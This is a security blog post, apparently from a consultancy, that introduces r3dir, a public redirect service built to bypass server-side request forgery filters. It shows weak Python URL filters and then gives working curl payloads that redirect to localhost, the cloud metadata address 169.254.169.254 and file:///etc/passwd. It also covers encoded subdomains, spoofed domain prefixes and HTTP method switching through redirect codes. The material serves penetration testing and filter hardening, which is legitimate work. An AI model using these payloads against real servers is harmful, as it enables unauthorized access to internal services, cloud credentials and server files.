Bypassing SSRF Filters Using r3dir
Server-side request forgery (also known as SSRF) is a type of web security vulnerability that enables attackers to trick the server-side application into making requests to an unintended location. Attackers who exploit this vulnerability can cause the server to connect to services that are usually not intended to be accessed from external networks, such as internal-only services within the organization’s infrastructure.
With the increasing use of third-party APIs and services integration, SSRF vulnerabilities have become more prevalent. In response, SSRF has taken its place in OWASP Top 10:2021 and developers must implement mitigations.
In this post, we demonstrate how to use the r3dir
tool to bypass some SSRF filters. r3dir
is a public (hosted on r3dir.me) and convenient redirection service made for SSRF filter bypasses and has the following features:
Define the redirection target via URL parameters or subdomains
Control HTTP response status codes
Bypass certain weak allowlist filters
Support CORS preflight requests for headless browser redirects
Integrates with BurpSuite
Getting started
Take a look at this filter example written in Python, the main goal of which is to allow only those URLs that point to external IPs:
from urllib.parse import urlparse
import requests
import socket
import ipaddress
def is_external(domain):
ip = socket.gethostbyname(domain)
return ipaddress.ip_address(ip).is_global
def get_content(url):
if is_external(urlparse(url).hostname):
return requests.get(url).content
raise Exception("URL points to an internal resource")
At first glance the filter should work without any issue. However, Python’s requests
library performs redirects under the hood. As a result, the filter has no option to verify the IP address of a URL that will be taken from the HTTP redirection response.
This means that if an attacker hosts a simple web server with a redirect to an internal resource (e.g., localhost
or 169.254.169.254
), they will bypass the filter and obtain the response from the internal resource, which in essence leads to an SSRF! Usually, a pentester would need to host the redirect themselves. However, with r3dir you can do perform a redirect in this way:
curl "https://302.r3dir.me/--to/?url=http://localhost" -v
# Results into:
#
# HTTP/1.1 302 Found
# Location: http://localhost
URL scheme limitations bypass
Developers can enforce usage only HTTPS URLs to ensure that only secure connections are performed by the application. Nevertheless, like in the previous example, usually the check is performed against user input only and you can bypass the limitation with the help of HTTP redirection.
Below is an example of https://
scheme check:
from urllib.parse import urlparse
import requests
import socket
import ipaddress
def is_https(url):
return urlparse(url).scheme == "https"
def get_content(url):
if is_https(url):
return requests.get(url).content
raise Exception("URL points to an internal resource")
An ability to bypass such scheme limitations is extremely useful because most internal services, including cloud providers metadata, communicate via HTTP. In addition, some HTTP clients may perform not only HTTP and HTTPS requests but also work with other schemes.
curl "https://302.r3dir.me/--to/?url=http://169.254.169.254" -v
# Results into:
#
# HTTP/1.1 302 Found
# Location: http://169.254.169.254
For example, file://
scheme will probably let an attacker interact with server filesystem, converting SSRF vulnerability into arbitrary file read one. r3dir
naturally allows you to do this:
curl "https://302.r3dir.me/--to/?url=file:///etc/passwd" -v
# Results into:
#
# HTTP/1.1 302 Found
# Location: file:///etc/passwd
URL specific format bypass
Alongside scheme limitations, sometimes an application expects some specific format of URL input, limiting port, path or query parameters of the URL or only allow a user to specify hostname for predefined HTTP requests. Based on the previous trick it is obvious that HTTP redirects can help to bypass such limitations too.
Let us look at next webhook URL integration:
from urllib.parse import urlparse
import requests
import socket
import ipaddress
def get_domain(url):
return urlparse(url).hostname
def check_webhook(url):
if domain := get_domain(url):
return requests.get(f"https://{domain}:8080/").content
raise Exception("Missing hostname")
To encode payload, use either CLI tool:
$ r3dir encode http://localhost:8888
62epax54k4z4o2wubwlx57p374.302.r3dir.me
or Hackvertor tags in BurpSuite:
If the API limitations require some domain prefix, just prepend it to the URL as a subdomain with -- delimiter. The prefix will be ignored by the r3dir
server:
curl "http://accounts.google.com.--.62epax54k4z4o2wubwlx57p374.302.r3dir.me" -v
# Results into:
#
# HTTP/1.1 302 Found
# Location: http://localhost:8888
Also, if some path or query params are required, it will be ignored too.
curl "http://accounts.google.com.--.62epax54k4z4o2wubwlx57p374.302.r3dir.me/webhook?query=value" -v
# Results into:
#
# HTTP/1.1 302 Found
# Location: http://localhost:8888
HTTP method manipulation
One of interesting effects of HTTP redirects is that you can change a request’s method to GET
via redirect. Consider the following example of a predefined POST
request to some user defined host:
import requests
def health_request(hostname):
return requests.post(f"https://{hostname}/check", json = {"health": true}).content
The resulting request:
POST /check HTTP/1.1
Host: localhost
User-Agent: python-requests/2.28.2
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 16
Content-Type: application/json
{"health": true}
The SSRF attack in the example is limited due to POST
method. Because one of the most popular SSRF exploitations is unauthorized data access and read actions in REST APIs are usually implemented via GET
HTTP method. Fortunately, 301
, 302
, 303
redirect status codes force HTTP clients to change method of the redirected request to GET
, so you can use:
curl "http://301.r3dir.me/--to/?url=http://localhost" -X POST -v -L
curl "http://302.r3dir.me/--to/?url=http://localhost" -X DELETE -v -L
curl "http://303.r3dir.me/--to/?url=http://localhost" -X PUT -v -L
Alternatively, you can preserve the HTTP method of the original request using status codes 307
and 308
:
curl "http://307.r3dir.me/--to/?url=http://localhost" -X POST -v -L
curl "http://308.r3dir.me/--to/?url=http://localhost" -X PUT -v -L
Other r3dir features
CORS preflighted request support
r3dir
supports reflective Access-Control-Allow-Origin
header for cross-origin resource sharing (CORS) requests and can redirect preflighted requests. It will help redirect headless browsers without being blocked by browser’s CORS politics.
Integration with BurpSuite
For seamless web application fuzzing, r3dir
has custom Hackvertor tags for BurpSuite. If you haven’t seen the Hackvertor extension in BurpSuite before, check it out. Instructions on how to install the r3dir
Hackvertor tag can be found at Github.
Closing words
r3dir
server is available on Github for self-hosting. If you want to read details about the tool’s limitations and installation instructions for CLI tool, integration with BurpSuite, and a self-hosted option, visit our README page. We are open to contributions, feature requests or any other support.
Credits
This article was written entirely by Senior Security Consultant Vladyslav Horodivskyi